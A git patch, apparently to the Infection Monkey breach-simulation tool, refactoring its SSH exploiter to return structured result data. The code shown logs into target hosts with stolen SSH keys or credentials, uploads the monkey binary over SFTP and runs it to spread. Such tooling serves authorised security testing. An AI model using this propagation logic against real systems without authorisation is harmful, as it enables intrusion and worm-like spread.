From 522d0d388de699d4ab2689a5d2471388db0fd3c6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:38:33 +0100 Subject: [PATCH] Agent: Modify SSH exploiter to return ExploiterResultData --- .../infection_monkey/exploit/HostExploiter.py | 20 +++++ monkey/infection_monkey/exploit/sshexec.py | 75 ++++++++++++++----- 2 files changed, 75 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 017451188..ad458a480 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -6,6 +6,7 @@ from typing import Dict from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -42,6 +43,7 @@ class HostExploiter: self.host = None self.telemetry_messenger = None self.options = {} + self.exploit_result = {} def set_start_time(self): self.exploit_info["started"] = datetime.now().isoformat() @@ -93,6 +95,14 @@ class HostExploiter: return result def pre_exploit(self): + self.exploit_result = { + "exploitation_success": False, + "propagation_success": False, + "os": self.host.os.get("type"), + "info": self.exploit_info, + "attempts": self.exploit_attempts, + "error_message": "", + } self.set_start_time() def post_exploit(self): @@ -115,3 +125,13 @@ class HostExploiter: """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) + + def get_exploit_result_data(self) -> ExploiterResultData: + return ExploiterResultData( + self.exploit_result["exploitation_success"], + self.exploit_result["propagation_success"], + self.exploit_result["os"], + self.exploit_result["info"], + self.exploit_result["attempts"], + self.exploit_result["error_message"], + ) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 63f4c7bd9..5b014af7e 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -10,6 +10,7 @@ from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem @@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter): continue raise FailedExploitationError - def _exploit_host(self): - + def _exploit_host(self) -> ExploiterResultData: port = SSH_PORT + # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): @@ -110,17 +111,25 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - logger.info("SSH port is closed on %r, skipping", self.host) - return False + self.exploit_result["error_message"] = f"SSH port is closed on {self.host}, skipping" + + logger.info(self.exploit_result["error_message"]) + return self.get_exploit_result_data() try: ssh = self.exploit_with_ssh_keys(port) + self.exploit_result["exploitation_success"] = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) + self.exploit_result["exploitation_success"] = True except FailedExploitationError: - logger.debug("Exploiter SSHExploiter is giving up...") - return False + self.exploit_result["error_message"] = "Exploiter SSHExploiter is giving up..." + self.exploit_result["exploitation_success"] = False + self.exploit_result["propagation_success"] = False + + logger.debug(self.exploit_result["error_message"]) + return self.get_exploit_result_data() if not self.host.os.get("type"): try: @@ -128,12 +137,21 @@ class SSHExploiter(HostExploiter): uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.host.os["type"] = "linux" + self.exploit_result["os"] = "linux" else: - logger.info("SSH Skipping unknown os: %s", uname_os) - return False + self.exploit_result["error_message"] = f"SSH Skipping unknown os: {uname_os}" + + if not uname_os: + logger.error(self.exploit_result["error_message"]) + return self.get_exploit_result_data() except Exception as exc: - logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error running uname os command on victim {self.host}: ({exc})" + + logger.debug(self.exploit_result["error_message"]) + return self.get_exploit_result_data() if not self.host.os.get("machine"): try: @@ -142,15 +160,21 @@ class SSHExploiter(HostExploiter): if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: - logger.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc - ) + self.exploit_result[ + "error_message" + ] = f"Error running uname machine command on victim {self.host}: ({exc})" + logger.error(self.exploit_result["error_message"]) src_path = get_target_monkey(self.host) if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Can't find suitable monkey executable for host {self.host}" + + logger.info(self.exploit_result["error_message"]) + return self.get_exploit_result_data() try: ftp = ssh.open_sftp() @@ -174,7 +198,11 @@ class SSHExploiter(HostExploiter): ) ftp.close() except Exception as exc: - logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error uploading file into victim {self.host}: ({exc})" + logger.error(self.exploit_result["error_message"]) status = ScanStatus.SCANNED self.telemetry_messenger.send_telemetry( @@ -183,7 +211,7 @@ class SSHExploiter(HostExploiter): ) ) if status == ScanStatus.SCANNED: - return False + return self.get_exploit_result_data() try: cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) @@ -198,10 +226,17 @@ class SSHExploiter(HostExploiter): cmdline, ) + self.exploit_result["propagation_success"] = True + ssh.close() self.add_executed_cmd(cmdline) - return True + return self.get_exploit_result_data() except Exception as exc: - logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error running monkey on victim {self.host}: ({exc})" + + logger.error(self.exploit_result["error_message"]) + return self.get_exploit_result_data()